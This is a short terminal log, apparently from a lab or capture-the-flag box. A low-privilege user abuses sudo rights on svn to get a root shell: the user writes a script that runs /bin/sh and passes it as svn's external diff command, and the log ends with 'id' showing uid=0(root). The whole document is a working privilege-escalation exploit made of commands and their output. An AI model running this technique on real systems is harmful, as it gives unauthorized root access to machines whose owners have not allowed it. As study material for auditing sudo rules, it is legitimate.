lowpriv@7dc99421ba84:/tmp/working$         TD=$(mktemp -d)
        svnadmin create $TD/pwn
        svn checkout file:///$TD/pwn $TD/project
        echo -e '#!/bin/bash\n/bin/sh' > $TD/shell
        chmod +x $TD/shell
        sudo svn diff --diff-cmd "$TD/shell"
Checked out revision 0.
Index: c
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# id
uid=0(root) gid=0(root) groups=0(root)